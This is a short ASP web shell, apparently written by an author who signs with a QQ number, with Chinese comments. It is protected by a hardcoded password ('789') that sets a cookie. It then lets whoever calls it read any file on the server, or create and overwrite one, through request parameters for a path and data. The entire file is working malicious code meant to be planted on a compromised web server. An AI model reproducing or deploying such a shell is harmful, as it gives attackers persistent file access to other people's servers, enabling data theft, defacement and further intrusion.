<%
on error resume next
dim getfilecode
%><%
if request("pass")="789" then '在这修改密码
response.cookies("pw")="go"
end if
%><%if request.cookies("pw")<>"go" then %><%="
"%><%else%><%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path="" then:path=Server.MapPath(".")&"\":end if
data=request("da")
if data<>"" and request("path")<>"" then
response.write "有数据->已保存"
set da=fso.createtextfile(path,true)
da.write data
da.close
set fso=nothing
else
dim filecode : set filecode=fso.opentextfile(path,1)
getfilecode=filecode.readall
set fso=nothing
response.write "己获取指定文件"
end if
if err=0 then
%><%="[成功]"%><%else%><%="[失败]"%><%
end if
err.clear
%><%set da=nothing%><%set fos=nothing%><%=""%><%=" write by DuGuFengYun QQ:55780909 "%><%end if%>